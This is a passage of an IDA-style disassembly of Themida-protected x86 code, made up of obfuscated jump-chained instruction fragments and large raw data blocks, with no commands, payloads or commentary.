		dd 0C281DA01h, 66362E26h, 81241C8Bh, 4C4h, 0F1E900h, 58680000h
		dd 0E9520C50h, 0FFFF9737h, 51D2F75Ch, 811729B9h, 0E9CA298Dh
		dd 31Bh
; ---------------------------------------------------------------------------


loc_55AB98:				; CODE XREF: Themida_:00555FFCj
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_54FF59
; ---------------------------------------------------------------------------
		db 88h,	0C7h, 58h
		dd 88B9F780h, 241C8BF9h, 4C483h, 0C32859CBh, 52EFEB80h
		dd 0FFC83EE9h, 0C3815AFFh, 67487D22h, 0EB81CB29h, 67487D22h
		dd 2E3FEB81h, 55592AB9h, 1485E9h, 51E95900h, 55FFFFB4h
		dd 0FF8CE957h, 0C483FFFFh, 24348704h, 6824248Bh, 43A4h
		dd 0FFF0C0E9h, 5AD731FFh, 5188C681h, 0FE0135DCh, 5188EE81h
		dd 0E95F35DCh, 0FFFF6959h, 0E9FD874Dh, 0FFFF6316h, 0E3C1435Bh
		dd 18C38105h, 29388BE5h, 241C8BD8h, 2904C483h, 253805D8h
		dd 676838A4h, 89000027h, 2668240Ch, 5946EA4Fh, 0FF47F181h
		dd 0B9516D03h, 54517799h, 0C8BC801h, 4C48324h, 8DE9C801h
		dd 8F00000Bh, 0BBE92404h, 53FFFFDAh, 0C381E389h, 4, 4EB81h
		dd 1C870000h, 0C7E95C24h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC87:				; CODE XREF: Themida_:00557B05j
		pop	esp
		jmp	loc_558C7A
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 33000000h, 0C31240Ch, 240C3324h, 0C676E95Ch,	34FFFFFFh
		dd 89535E24h, 4C381E3h,	83000000h, 1C3304C3h, 241C3124h
		dd 0E9241C33h, 0FFFFD172h, 815DEF29h, 0CD5B66EFh, 0FBEF8145h
		dd 0E96A5352h, 0FFFF6143h, 7362C781h, 2DE92AACh
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ACDF:				; CODE XREF: Themida_:00550B38j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_558022
; ---------------------------------------------------------------------------
		db 0E9h, 0C1h, 4Ah
		dd 6852FFFFh, 25DC186Eh, 0F7E2D15Ah, 47F281DAh,	0F73AFE4Eh
		dd 9C8AE9D2h, 0BE0FFFFFh, 0C10DE9C8h, 0C381FFFFh, 4, 3304EB83h
		dd 1C31241Ch, 241C3324h, 0E636E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AD2A:				; CODE XREF: Themida_:0055411Aj
		add	ebp, ecx
		pop	ecx
		sub	ebp, 1BE86422h
		xor	ebp, 62719B13h
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		jmp	loc_554B81
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0FEA19674h, 835BDD01h, 2C3304EDh, 74B0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AD66:				; CODE XREF: Themida_:005528A0j
		push	eax
		push	ecx
		mov	ecx, 3CB80F23h
		jmp	loc_55B253
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 1503CE47h, 0FFA6E9E9h
		db 0FFh
byte_55AD7D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054F760o
		dd 0FFD363E9h, 21B850FFh, 25555650h, 361B1604h,	53410105h
		dd 7E0C13Eh, 75043548h,	5AE9008Eh, 81FFFFDBh, 61DB48F2h
		dd 5AD70186h, 5C243C87h, 0E9243487h, 0FFFFC091h
; ---------------------------------------------------------------------------


loc_55ADB8:				; CODE XREF: Themida_:00553876j
		add	esp, 4
		pop	esi
		jmp	loc_5535F0
; ---------------------------------------------------------------------------
		dd 2EED815Dh, 81494A19h, 22A110F5h, 5DE829A1h, 9AA6E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ADDA:				; CODE XREF: Themida_:00557B76j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	edx


loc_55ADE5:				; CODE XREF: Themida_:00554E43j
		push	ecx
		push	ebx
		push	edx
		jmp	loc_5592B9
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 96ABE900h, 0DE01FFFFh,	83241C8Bh, 50E904C4h
		db 0C6h, 2 dup(0FFh)
byte_55AE07	db 66h			; DATA XREF: Themida_:0054F544o
		dd 0E924048Bh, 0FFFFDB94h
; ---------------------------------------------------------------------------


loc_55AE10:				; CODE XREF: Themida_:005526BFj
		mov	esp, [esp]
		push	736Eh
		jmp	loc_55134F
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 0F7h
		dd 0D36866F9h, 1489663Dh, 9C506624h, 0FF4982E9h, 243C33FFh
		dd 0FFD8B4E9h, 0E9F701FFh, 0FFFFE4B0h
; ---------------------------------------------------------------------------


loc_55AE40:				; CODE XREF: Themida_:00552069j
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_558B18
; ---------------------------------------------------------------------------
		dd 22E94840h, 89FFFFD5h, 240C8BCFh, 5704C483h, 13BE9h
		dd 2434FF00h, 4C48158h,	55000000h, 2BDh, 5DEE2900h, 0FF9600E9h
		dd 3EAC1FFh, 0B0C1F281h, 0D1291BA7h, 0E924148Bh, 0FFFF8E28h
		dd 0FF2434FFh, 83592434h, 0C3E904C4h, 81FFFFC5h, 535553C3h
		dd 0BF575D7Fh, 361E1C7Dh, 0ACE9D7F7h, 59FFFFDCh, 367DCB05h
		dd 0E9D0011Fh, 0FFFF54ACh, 13E9E181h, 0F1815740h, 4B0D7F68h
		dd 3CF3C181h, 0E98178E9h, 63F99599h, 0FF6FB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AEDD:				; CODE XREF: Themida_:00553ADCj
		mov	esi, 4
		jmp	loc_55A441
; ---------------------------------------------------------------------------
		db 1
		dd 875858C6h, 665C2434h, 66C8BE0Fh, 66587B68h, 0E9240C89h
		dd 0FFFF48B3h, 0CE70E95Eh, 487FFFFh, 0BD555C24h, 2, 0FF5DDBE9h
		dd 241C8BFFh, 0E904C483h, 0FFFFE1C9h, 85587DB9h, 29B85071h
		dd 480F0F3Eh, 1A6C9A2Dh, 0E8C1402Eh, 0AE354806h, 95FA18Ch
		dd 0F74158C1h, 4EEDE9D9h
		db 2 dup(0FFh)
word_55AF46	dw 0AD66h		; DATA XREF: Themida_:0054F5B4o
		dd 0FFE6B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AF4D:				; CODE XREF: Themida_:00552409j
		pop	eax
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		jmp	loc_5582F0
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4DEE6B12h, 5865C681h, 3CE96439h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AF6B:				; CODE XREF: Themida_:0055B450j
		push	2AB4582Eh
		jmp	loc_552E5B
; ---------------------------------------------------------------------------
		db 0E9h, 39h, 48h
		dd 0EB80FFFFh, 76DE9F1h, 34FF0000h, 30E95F24h, 8700000Eh
		dd 0E95C242Ch, 0FFFFC3A1h
; ---------------------------------------------------------------------------


loc_55AF94:				; CODE XREF: Themida_:00553B68j
		add	esp, 4
		pop	edx
		push	dword ptr [esp]
		jmp	loc_556455
; ---------------------------------------------------------------------------
		dd 747B22BFh, 0B6C2D45h, 0F8012CE1h, 6279BF57h,	0EFC14E37h
		dd 0C7814706h, 2BA82DE2h, 0FFFB38E9h, 4C281FFh,	83000000h
		dd 148704C2h, 0BD555C24h, 4, 0E99E9h, 24148B00h, 81E78957h
		dd 4C7h, 53BD5500h, 0F73BE661h,	6EDC1D5h, 6676ED81h, 19E90310h
		dd 81FFFF5Bh, 4C4h, 0BE565500h,	578B0AD8h, 15EF589h, 762EE9EFh
		dd 5966FFFFh, 88F0C680h, 24148BF5h, 0FFE97BE9h,	5E089FFh
		dd 4, 0FF8B4FE9h, 1BDFFh, 89E90000h, 0F7FFFFFCh, 0FABF57D5h
		dd 1DF7FF8h, 0EE895FFDh, 81242C8Bh, 4C4h, 5EF8100h, 0E9475E6Ah
		dd 0FFFF8069h
; ---------------------------------------------------------------------------


loc_55B058:				; CODE XREF: Themida_:00559187j
		push	dword ptr [esp]
		jmp	loc_550D0B
; ---------------------------------------------------------------------------
		dd 4C481h, 0C6830000h, 24348704h, 24048F5Ch, 0FF4D49E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B075:				; CODE XREF: Themida_:00556366j
		mov	ecx, 4
		sub	ebx, 5C243A0Dh
		sub	ebx, ecx
		jmp	loc_5560B2
; ---------------------------------------------------------------------------
		db 83h
		dd 8B042404h, 0C4832434h, 4EC8104h, 89000000h, 4BD242Ch
		dd 1000000h, 2434FFEEh,	84ECE95Dh, 0F181FFFFh, 3A2778A4h
		dd 0E959CD21h, 0FFFFA781h, 9335EA81h, 0D629995Bh, 0FFE6B4E9h
		dd 0AE958FFh, 81FFFFABh, 852A94EAh, 0C1B95132h,	810AB520h
		dd 0A12F97C1h, 87C18102h, 814F7375h, 183078E9h,	0B7E98148h
		dd 31F8B352h, 4A92E9CAh, 48FFFFFh, 24048124h, 4, 5B2434FFh
		dd 0E904C483h, 0FFFF68D4h, 0FFFFFF2Dh, 484840FFh, 4B993548h
		dd 0C72124C9h, 5CEF8158h, 21F2F0C1h, 1CE95FF8h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B12B:				; CODE XREF: Themida_:005531A9j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_551A07
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 42h
		dd 81183B4Ah, 3B3895F5h, 82ED812Dh, 0E9C9614Ch,	0FFFF4AD3h
; ---------------------------------------------------------------------------


loc_55B15C:				; CODE XREF: Themida_:00555A90j
		or	edi, 15CD4DFCh
		jmp	loc_5526C4
; ---------------------------------------------------------------------------


loc_55B167:				; CODE XREF: Themida_:0055864Cj
		pop	esp
		mov	ebp, 5A2723A2h
		xor	ebp, ebx
		jmp	loc_5564D9
; ---------------------------------------------------------------------------
		dd 7D43EE81h, 0EE812680h, 2640285Ah, 0FFE6E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B185:				; CODE XREF: Themida_:00551DC6j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55A894
; ---------------------------------------------------------------------------


loc_55B190:				; CODE XREF: Themida_:0055A64Fj
		sub	esi, 66BA2D95h
		pop	edx
		jmp	loc_553638
; ---------------------------------------------------------------------------
		db 0C3h
byte_55B19D	db 64h,	66h, 0Fh	; DATA XREF: Themida_:0054F4D0o
		dd 0B1E902B6h, 58FFFF82h, 0EFE9FD29h, 81FFFFA7h, 4C4h
		dd 24040100h, 0FF71ECE9h, 24F2DFFh, 0F82979EFh,	0EF024F05h
		dd 7ED2D79h, 0CB054E93h, 0E918806Bh, 0FFFF60FBh, 4C48358h
		dd 240CFF56h, 0D5C6815Eh, 29FBE3E2h, 0E8E95EF7h, 5DFFFF97h
		dd 0F24DD72Dh, 5D00174h, 74F24DD7h, 0E924148Bh,	0FFFFAB52h
		dd 4233BD55h, 9BE27A2h,	29907EBFh, 0F0215DEEh, 23402D5Eh
		dd 0E12D2320h, 314A90E8h, 0E83158C5h, 0FFEC38E9h, 0E9E789FFh
		dd 0FFFF85D2h, 0B9403AB8h, 4FBA0D44h, 27353D0Fh, 1EA7CB9h
		dd 0EF8158C2h, 4AC64FACh, 286CC781h, 0D5E96594h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55B253:				; CODE XREF: Themida_:0055AD6Dj
		mov	eax, 0C347F0E1h
		jmp	loc_5526D4
; ---------------------------------------------------------------------------
byte_55B25D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054F73Co
		dd 0FFF272E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B265:				; CODE XREF: Themida_:00557C57j
		push	eax
		mov	eax, 0AFF6E1Bh
		sub	eax, 0FFFFFFFFh
		sub	eax, 0FFFFFFFFh
		add	eax, 12D7552Fh
		add	eax, 3249ECBh
		xor	edi, eax
		pop	eax
		shl	edi, 5
		shr	edi, 5
		sub	edi, 9EFCD516h
		sub	edi, 654D6B3Ah
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_55340F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 149647C4h
		xor	ecx, 2A8F1ABFh
		xor	ecx, 6CDA01E8h
		shr	ecx, 2
		jmp	loc_554537
; ---------------------------------------------------------------------------
		db 2Ch,	0E2h, 2Ch
		dd 6925E987h, 0C381FFFFh, 4, 0FF927BE9h, 799168FFh, 69E90000h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B2D7:				; CODE XREF: Themida_:00550469j
		sub	ecx, 387059FAh
		shl	ecx, 6
		or	ecx, 43A63736h
		xor	ecx, 0EFF0EC44h
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 1
		shl	ebx, 2
		push	esi
		mov	esi, 48BF50E1h
		and	ebx, esi
		pop	esi
		xor	ebx, 401A5021h
		push	edx
		mov	edx, 24h
		add	edx, edi
		add	[edx], ebx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4


loc_55B319:				; CODE XREF: Themida_:00552EDDj
		push	4FD4h
		mov	[esp], esi
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_556FCF
; ---------------------------------------------------------------------------
byte_55B32F	db 8Bh			; DATA XREF: Themida_:0054F514o
		dd 2E92414h, 56FFFFA9h,	0A9D8E954h, 595BFFFFh, 815B5453h
		dd 4C3h, 62B8E900h, 0CE09FFFFh,	0F0F68159h, 0E915EE57h
		dd 0FFFF9A0Ah
; ---------------------------------------------------------------------------


loc_55B35C:				; CODE XREF: Themida_:00550CEBj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_55309F
; ---------------------------------------------------------------------------
		dw 4B4Bh
		dd 3EEE9h, 282CBE00h, 84686C27h, 89000079h, 46BA2414h
		dd 83013919h, 0CA8101EAh, 695F5A17h, 16C1CA81h,	28E91E14h
		dd 80FFFF49h, 0D730E4F2h, 0FF8516E9h, 4BE56FFh,	1000000h
		dd 826EE9F1h, 0EF81FFFFh, 547735BDh, 1149F781h,	0BE569EA3h
		dd 642224C9h, 0FF4A81E9h, 0A6E959FFh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_55B3CB:				; CODE XREF: Themida_:0055982Aj
		mov	edx, 474716D7h
		dec	edx
		shl	edx, 7
		shl	edx, 6
		sub	edx, 5E8834ACh
		xor	edx, 0C30DA628h
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_555585
; ---------------------------------------------------------------------------
		dd 0E068E958h, 248BFFFFh, 9CC83B24h, 0FF7542E9h, 0C3835CFFh
		dd 7C45E902h, 2F68FFFFh, 89000076h, 3FBF243Ch, 522CFE1Ch
		dd 0FF7B68E9h, 341105FFh, 575F73BDh, 82A5E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B42E:				; CODE XREF: Themida_:00550300j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2C4039FFh
		add	ebx, 6692481Eh
		dec	ebx
		neg	ebx
		push	2680h
		mov	[esp], ecx
		jmp	loc_55AF6B
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF7DBDh, 0D0BB534Dh, 0C131655Dh, 0DBF703EBh
		dd 0FF76BFE9h, 74FF57FFh, 8F5F0424h, 248B2404h,	2404D324h
		dd 432DE99Ch, 348BFFFFh, 4C48324h, 0E904EF83h, 0FFFF74B8h
; ---------------------------------------------------------------------------


loc_55B494:				; CODE XREF: Themida_:00558A81j
		mov	ebp, 62CF5263h
		xor	ebp, 61604F7Fh
		xor	ebp, 51F68D4h
		jmp	loc_551AD8
; ---------------------------------------------------------------------------
		dw 0F75Fh
		dd 0DAEF81DFh, 576DD7A8h, 0FF9301E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B4B9:				; CODE XREF: Themida_:0055267Ej
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_5555F1
; ---------------------------------------------------------------------------


loc_55B4C4:				; CODE XREF: Themida_:00553FB7j
		pop	ebx
		push	724Bh
		mov	[esp], edx
		push	10AC03E7h
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 478BF75Eh
		xor	ecx, edx
		pop	edx
		jmp	loc_5535D7
; ---------------------------------------------------------------------------
word_55B4E6	dw 8B66h		; DATA XREF: Themida_:0054F694o
		dd 0EC812404h, 4, 54243C89h, 5F2434FFh,	81E38953h, 4C3h
		dd 4C38100h, 87000000h,	0E95C241Ch, 0FFFFF6DBh
; ---------------------------------------------------------------------------


loc_55B510:				; CODE XREF: Themida_:0055233Dj
		pop	esp
		or	eax, eax
		jz	loc_5588DB
		push	dword ptr [edi+28h]
		xor	dword ptr [esp], 2BFB3DFEh
		jmp	loc_558D43
; ---------------------------------------------------------------------------
		dd 0EF81D701h, 6594286Ch, 87BE9h, 8038B300h, 0EB8064E3h
		dd 4F2CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B542:				; CODE XREF: Themida_:0055BE93j
		add	ah, bl
		pop	ebx
		jmp	loc_55A79A
; ---------------------------------------------------------------------------
		dw 0DAB6h
		dd 80C2EE80h, 0F68058F6h, 8E6C075h, 8008EEC0h, 88511FC6h
		dd 0E88850F5h, 0FFC51EE9h, 2EBC1FFh, 0E905E3C1h, 0FFFFF16Ah
		dd 6059A0BEh, 9C36E938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B57E:				; CODE XREF: Themida_:0055265Fj
		mov	eax, 0
		jmp	loc_551DCB
; ---------------------------------------------------------------------------
dword_55B588	dd 240C8B66h, 2A768h, 24148900h, 34FD68h, 24248900h, 0FF7982E9h
					; DATA XREF: Themida_:0054F6B4o
		dd 74FF57FFh, 79E90424h, 89FFFF7Dh, 4BF243Ch, 1000000h
		dd 0EC835FF9h, 242C8904h, 4BDh,	5DE90100h, 0FFA0CAE9h
		dd 0E68956FFh, 44F3BF57h, 0C7817819h, 87E6BB11h, 835FFE01h
		dd 348704EEh, 2C895C24h, 3B9B6824h, 0E95D308Ch,	0FFFFB477h
		dd 582434FFh, 81E68956h, 4C6h, 4BB5300h, 81000000h, 7E164FC6h
		dd 81DE0101h, 7E164FEEh, 34875B01h, 0FD885C24h,	0EB88535Bh
		dd 5B871C88h, 67CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B625:				; CODE XREF: Themida_:005584F2j
		push	ecx
		mov	ecx, 4
		jmp	loc_55219A
; ---------------------------------------------------------------------------
		dd 402E8C0h, 2EC83B4h, 0FFE504E9h, 243C89FFh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 0C2815C24h, 514267E8h,	1C73B850h
		dd 0E8C13F08h, 0C405E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B666:				; CODE XREF: Themida_:0055A92Aj
		pop	ebx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		push	ebx
		push	13E67C9Ch
		jmp	loc_5559E2
; ---------------------------------------------------------------------------
		db 52h
		dd 0B6787FBAh, 48BBE92Eh, 0C483FFFFh, 0E9C20104h, 0FFFF437Ch
		dd 0B753F828h, 8BF7806Ch, 0C7FED7F6h, 0F780CFFEh, 0FDC78050h
		dd 6FE9F828h, 0FFFFFFA3h, 0FCE95533h, 50FFFF95h, 0E6717DB8h
		dd 0CDBF5768h, 5751720Ch, 0E92414F7h, 0FFFF4430h, 2583685Bh
		dd 1C890000h, 2BB24h, 0DE010000h, 0FF5A71E9h, 241487FFh
		dd 497F685Ch, 0A0E90000h, 80FFFFBEh, 0F328E0C3h, 80E0EB80h
		dd 5A66F1C3h, 4CB45066h, 0FF6643E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B705:				; CODE XREF: Themida_:00556A33j
		mov	eax, [ecx]
		mov	ecx, [esp]
		jmp	loc_559D6F
; ---------------------------------------------------------------------------
byte_55B70F	db 0FFh			; DATA XREF: Themida_:0054F4DCo
		dd 0C8B2434h, 5A545224h, 4C281h, 0C2830000h, 0FFBBE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B726:				; CODE XREF: Themida_:005544C8j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55A88D
; ---------------------------------------------------------------------------
aNhd		db '­hD',27h,0          ; DATA XREF: Themida_:0054F650o
		align 4
		dd 55241C89h, 0FF8B74E9h, 36C8B8FFh, 5F502E98h,	0FFB464E9h
		dd 50F9BAFFh, 0C28175D1h, 971173h, 6EE9D789h, 0F7FFFF8Bh
		dd 6EBC1DBh, 0C920F381h, 0DA8903F8h, 0FF98A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B771:				; CODE XREF: Themida_:005522D6j
		or	ebp, 51AB0A36h
		xor	ebp, 3DAE7FB8h
		jmp	loc_550E9E
; ---------------------------------------------------------------------------


loc_55B782:				; CODE XREF: Themida_:00556EF6j
		add	ecx, 4
		jmp	loc_555CC6
; ---------------------------------------------------------------------------


loc_55B78D:				; CODE XREF: Themida_:00552206j
		mov	edx, esp
		add	edx, 4
		jmp	loc_559596
; ---------------------------------------------------------------------------


loc_55B79A:				; CODE XREF: Themida_:00550B79j
		pop	eax
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	eax, edx
		jmp	loc_559437
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	348704EEh, 2C895C24h, 0E9E58924h
		dd 0FFFFBE1Fh
; ---------------------------------------------------------------------------


loc_55B7C4:				; CODE XREF: Themida_:00555461j
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_551D8C
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 5D2434FFh, 52E78957h, 0F7E6ABAh, 58C28142h, 0E9180874h
		dd 0FFFF79F9h, 61E95053h, 33FFFF72h, 665C2414h,	8124048Bh
		dd 4ECh, 242C8900h, 5A9668h, 24248900h,	4240481h, 5D000000h
		dd 62C2B951h, 0C1813754h, 0C8AB9D42h, 1EDEC581h, 0CD0168A8h
		dd 8F21E951h, 148BFFFFh, 4C48324h, 4EC81h, 2C890000h, 15BF5724h
		dd 0C1062B18h, 0D7F706E7h, 4649F781h, 0DFF7274Eh, 0B3E9E7D1h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B85F:				; CODE XREF: Themida_:00558C60j
		pop	esp
		shr	ebp, 8
		shr	ebp, 1
		sub	ebp, 955EE8DAh
		mov	ebx, ebp
		pop	ebp
		jmp	loc_557027
; ---------------------------------------------------------------------------


loc_55B873:				; CODE XREF: Themida_:0055A974j
		or	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 5E680995h
		jmp	loc_5507FB
; ---------------------------------------------------------------------------
		db 0BFh, 64h, 47h
		dd 0E9476AC0h, 0FFFFB8BEh
; ---------------------------------------------------------------------------


loc_55B88C:				; CODE XREF: Themida_:00559057j
		shr	ecx, 6
		jmp	loc_558435
; ---------------------------------------------------------------------------


loc_55B894:				; CODE XREF: Themida_:00556DCEj
		push	ecx
		mov	ecx, 2921407Ch
		xor	ecx, 6A7E1234h
		inc	ecx
		sub	ecx, 34F92DD4h
		push	edx
		jmp	loc_55A559
; ---------------------------------------------------------------------------


loc_55B8AD:				; CODE XREF: Themida_:00558DAEj
		shr	ebx, 2
		jmp	loc_555CBB
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C4h
		dd 4, 55E68956h, 4BDh, 0FFEE0100h, 525D2434h, 0FF6FF4E9h
		dd 0C5815AFFh, 2, 3DF268h, 0B2B9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B8E2:				; CODE XREF: Themida_:00552CCDj
		add	ebx, edx
		push	edx
		mov	edx, 1C8449C8h
		add	edx, 1
		or	edx, 40182BF2h
		add	edx, 0ED0F0BB9h
		jmp	loc_55005D
; ---------------------------------------------------------------------------


loc_55B8FE:				; CODE XREF: Themida_:005549F7j
		sub	esp, 4
		jmp	loc_5522C3
; ---------------------------------------------------------------------------
		dw 40B0h
		dd 2858C188h, 0C1805AD1h, 59CB881Eh, 0E940F380h, 0FFFF94FFh
; ---------------------------------------------------------------------------


loc_55B91C:				; CODE XREF: Themida_:0055C0B5j
		or	esi, ebp
		pop	ebp
		and	esi, 5BFB10AFh
		not	esi
		add	esi, 813034A2h
		jmp	loc_55A071
; ---------------------------------------------------------------------------
		dw 4C01h
		dd 8B590424h, 0C4812414h, 4, 1F0B68h, 241C8900h, 0FF5831E9h
		dd 5BEA81FFh, 1663607h,	5BC281DAh, 5B663607h, 0FFCB96E9h
		dd 2C481FFh, 66000000h,	511B6855h, 1C890000h, 15BB6624h
		dd 0DD896600h, 65D9E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B97E:				; CODE XREF: Themida_:00557929j
		push	edi
		push	eax
		mov	eax, 68964688h
		mov	edi, eax
		mov	eax, [esp]
		jmp	loc_555A72
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0BB532404h, 4, 4246C81h, 6D6C35ABh, 6B38B850h, 3DE9761Dh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B9AB:				; CODE XREF: Themida_:00552B67j
		mov	ebp, esp
		jmp	loc_5501C7
; ---------------------------------------------------------------------------
		dw 0C39Dh
		dd 0FF3DFAE9h, 81D5F7FFh, 0C5D85E5h, 0A9C58148h, 0E935F735h
		dd 0FFFFF901h, 0E9243487h, 0FFFFEBE5h, 2055EA81h, 0D701665Ah
		dd 0E924148Bh, 0FFFF6791h, 840FC90Bh, 0FFFF8710h, 76E768h
		dd 48F5400h, 5E1CE924h,	0D000FFFFh, 34FF2204h, 2434FF24h
		dd 4C4815Ah, 0E9000000h, 0FFFFD386h, 0ABEF815Fh, 8B704D3Ah
		dd 8AE9240Ch, 35FFFF61h, 5BF137F9h, 8758C629h, 248B2434h
		dd 14896624h, 271E924h,	52660000h, 0F70050B6h, 0F8285A66h
		dd 5B2434FFh, 6604C483h, 66088368h, 68241C89h, 3D13h, 0FF5E87E9h
		dd 34335DFFh, 24343124h, 5C243433h, 1A0568h, 66EAE900h
		dd 0FD31FFFFh, 0FF7C78E9h
		db 0FFh
byte_55BA75	db 83h,	0ECh, 4		; DATA XREF: Themida_:0054F570o
		dd 0FF8EF3E9h, 242C8BFFh, 4C481h, 0EC830000h, 0E4AEE904h
		dd 8B58FFFFh, 0C481241Ch, 4, 0F5FBA52h,	0D7314164h, 54EB815Ah
		dd 0E94ADC7Fh, 0FFFF6554h, 4BE56h, 0DFE90000h, 0BDFFFF5Fh
		dd 4, 4246C01h,	0FFB266E9h
		db 0FFh
byte_55BAC5	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054F534o
		dd 1058669Dh, 0E99C2404h, 0FFFF3CDFh
; ---------------------------------------------------------------------------


loc_55BAD4:				; CODE XREF: Themida_:005560B8j
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55002B
; ---------------------------------------------------------------------------
		db 0BEh
		dd 625413DAh, 0FF85ECE9h, 664166FFh, 3B686652h,	665A66CAh
		dd 5A66D129h, 8BCA8966h, 8957240Ch, 4C781E7h, 83000000h
		dd 92E904C7h, 8BFFFFEFh, 8B662424h, 59E92404h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB1F:				; CODE XREF: Themida_:005587B9j
		mov	dl, 0E0h
		or	dl, 0B1h
		jmp	loc_55A18F
; ---------------------------------------------------------------------------


loc_55BB29:				; CODE XREF: Themida_:005588E3j
		mov	[esp], esi
		jmp	loc_5550A7
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0FF7F6DE9h, 57555EFFh, 0F40E0C68h, 243C8B77h, 8104C483h
		dd 0B515C9CFh, 0E8EF8176h, 817EB922h, 0C4031DC7h, 0E95D5706h
		dd 0FFFFA44Ch, 0FF3C4EE9h
		db 0FFh
byte_55BB65	db 57h,	89h, 0E7h	; DATA XREF: Themida_:0054F61Co
		dd 6AB5BD55h, 52E910F1h, 89FFFF9Eh, 98E958C7h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB7B:				; CODE XREF: Themida_:00551C81j
		pop	ecx
		xor	ecx, ebp
		jmp	loc_55AB15
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0CAE781D7h, 8379B440h, 0EF81FFEFh, 0C1C2CFA5h, 0A97BE56h
		dd 51E95F80h, 52FFFFC3h, 33E9ADB2h, 81FFFF5Eh, 8B6163F6h
		dd 0B8504667h, 2A535DEFh, 158C601h, 0B8505EF1h,	4, 5158C101h
		dd 42474FFh, 83240C8Bh,	1DE904C4h
		db 4Fh,	2 dup(0FFh)
byte_55BBD3	db 68h			; DATA XREF: Themida_:0054F680o
		dd 282Fh, 0BB241C89h, 53947h, 3DCD68h, 241C8900h, 70242C81h
		dd 8B652C4Dh, 0C4812404h, 4, 2C4D7005h,	2434FF65h, 0E689565Bh
